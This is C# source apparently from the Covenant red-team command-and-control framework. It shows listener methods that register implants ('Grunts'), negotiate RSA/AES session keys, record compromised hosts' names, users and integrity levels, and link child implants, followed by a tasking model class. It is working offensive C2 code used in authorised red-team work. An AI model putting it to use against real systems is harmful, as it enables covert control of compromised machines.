private async Task RegisterGrunt(APIModels.Grunt egressGrunt, APIModels.Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntMessage, string guid) { if (targetGrunt == null || targetGrunt.Status != APIModels.GruntStatus.Stage2 || !gruntMessage.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey))) { // Always return NotFound, don't give away unnecessary info this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null }); return; } if (egressGrunt == null) { egressGrunt = targetGrunt; } string message = Common.CovenantEncoding.GetString(_utilities.GruntSessionDecrypt(targetGrunt, gruntMessage)); // todo: try/catch on deserialize? APIModels.Grunt grunt = JsonConvert.DeserializeObject <APIModels.Grunt>(message); targetGrunt.IpAddress = grunt.IpAddress; targetGrunt.Hostname = grunt.Hostname; targetGrunt.OperatingSystem = grunt.OperatingSystem; targetGrunt.UserDomainName = grunt.UserDomainName; targetGrunt.UserName = grunt.UserName; targetGrunt.Status = APIModels.GruntStatus.Active; targetGrunt.Integrity = grunt.Integrity; targetGrunt.Process = grunt.Process; targetGrunt.LastCheckIn = DateTime.UtcNow; await _client.ApiGruntsPutAsync(targetGrunt); APIModels.GruntTaskingMessage tasking = new APIModels.GruntTaskingMessage { Message = targetGrunt.Guid, Name = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10), Type = APIModels.GruntTaskingType.Jobs, Token = false }; ModelUtilities.GruntEncryptedMessage responseMessage; try { responseMessage = this.CreateMessageForGrunt(egressGrunt, targetGrunt, tasking); } catch (HttpOperationException) { this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null }); return; } // Transform response string transformed = this._utilities.ProfileTransform(_transform, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(responseMessage))); this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.Ok, Message = transformed, Tasking = null }); return; }
private ModelUtilities.GruntEncryptedMessage CreateMessageForGrunt(APIModels.Grunt grunt, APIModels.Grunt targetGrunt, APIModels.GruntTaskingMessage taskingMessage) { return(this.CreateMessageForGrunt(grunt, targetGrunt, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(taskingMessage)))); }
private async Task PostStage0(APIModels.Grunt egressGrunt, APIModels.Grunt targetGrunt, ModelUtilities.GruntEncryptedMessage gruntStage0Response, string guid) { if (targetGrunt == null || !gruntStage0Response.VerifyHMAC(Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword))) { // Always return NotFound, don't give away unnecessary info this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null }); return; } bool egressGruntExists = egressGrunt != null; if (targetGrunt.Status != APIModels.GruntStatus.Uninitialized) { // We create a new Grunt if this one is not uninitialized APIModels.Grunt tempModel = new APIModels.Grunt { Id = 0, Name = Utilities.CreateShortGuid(), Guid = guid, OriginalServerGuid = Utilities.CreateShortGuid(), Status = APIModels.GruntStatus.Stage0, ListenerId = targetGrunt.ListenerId, Listener = targetGrunt.Listener, ImplantTemplateId = targetGrunt.ImplantTemplateId, ImplantTemplate = targetGrunt.ImplantTemplate, GruntSharedSecretPassword = targetGrunt.GruntSharedSecretPassword, SmbPipeName = targetGrunt.SmbPipeName, Delay = targetGrunt.Delay, JitterPercent = targetGrunt.JitterPercent, KillDate = targetGrunt.KillDate, ConnectAttempts = targetGrunt.ConnectAttempts, DotNetFrameworkVersion = targetGrunt.DotNetFrameworkVersion, LastCheckIn = DateTime.UtcNow }; targetGrunt = await _client.ApiGruntsPostAsync(tempModel); } else { targetGrunt.Status = APIModels.GruntStatus.Stage0; targetGrunt.Guid = guid; targetGrunt.LastCheckIn = DateTime.UtcNow; targetGrunt = await _client.ApiGruntsPutAsync(targetGrunt); } if (!egressGruntExists) { egressGrunt = targetGrunt; } // EncryptedMessage is the RSA Public Key targetGrunt.GruntRSAPublicKey = Convert.ToBase64String(EncryptUtilities.AesDecrypt( gruntStage0Response, Convert.FromBase64String(targetGrunt.GruntSharedSecretPassword) )); // Generate negotiated session key using (Aes newAesKey = Aes.Create()) { newAesKey.GenerateKey(); targetGrunt.GruntNegotiatedSessionKey = Convert.ToBase64String(newAesKey.Key); await _client.ApiGruntsPutAsync(targetGrunt); } if (egressGruntExists) { // Add this as Child grunt to Grunt that connects it List <APIModels.GruntTasking> taskings = _client.ApiTaskingsGet().ToList(); // TODO: Finding the connectTasking this way could cause race conditions, should fix w/ guid of some sort? APIModels.GruntTasking connectTasking = taskings.Where(GT => GT.Type == APIModels.GruntTaskingType.Connect && GT.Status == APIModels.GruntTaskingStatus.Progressed).Reverse().FirstOrDefault(); if (connectTasking == null) { this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null }); return; } APIModels.GruntTaskingMessage tmessage = this.GetGruntTaskingMessage(connectTasking, targetGrunt.DotNetFrameworkVersion); targetGrunt.Hostname = tmessage.Message.Split(",")[0]; await _client.ApiGruntsPutAsync(targetGrunt); connectTasking.Status = APIModels.GruntTaskingStatus.Completed; await _client.ApiTaskingsPutAsync(connectTasking); } byte[] rsaEncryptedBytes = EncryptUtilities.GruntRSAEncrypt(targetGrunt, Convert.FromBase64String(targetGrunt.GruntNegotiatedSessionKey)); ModelUtilities.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(egressGrunt, targetGrunt, rsaEncryptedBytes); } catch (HttpOperationException) { this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.NotFound, Message = "", Tasking = null }); return; } // Transform response // Stage0Response: "Id,Name,Base64(IV),Base64(AES(RSA(SessionKey))),Base64(HMAC)" string transformed = this._utilities.ProfileTransform(_transform, Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); this.PushCache(guid, new GruntMessageCacheInfo { Status = GruntMessageCacheStatus.Ok, Message = transformed, Tasking = null }); return; }
/// <summary> /// Initializes a new instance of the GruntTasking class. /// </summary> /// <param name="status">Possible values include: 'Uninitialized', /// 'Tasked', 'Progressed', 'Completed'</param> /// <param name="type">Possible values include: 'Assembly', 'Set', /// 'Kill'</param> /// <param name="setType">Possible values include: 'Delay', 'Jitter', /// 'ConnectAttempts'</param> public GruntTasking(int?id = default(int?), string name = default(string), int?taskId = default(int?), int?gruntId = default(int?), GruntTaskingStatus?status = default(GruntTaskingStatus?), GruntTaskingType?type = default(GruntTaskingType?), string gruntTaskOutput = default(string), GruntTaskingMessage taskingMessage = default(GruntTaskingMessage), string gruntTaskingAssembly = default(string), GruntSetTaskingType?setType = default(GruntSetTaskingType?), string value = default(string)) { Id = id; Name = name; TaskId = taskId; GruntId = gruntId; Status = status; Type = type; GruntTaskOutput = gruntTaskOutput; TaskingMessage = taskingMessage; GruntTaskingAssembly = gruntTaskingAssembly; SetType = setType; Value = value; CustomInit(); }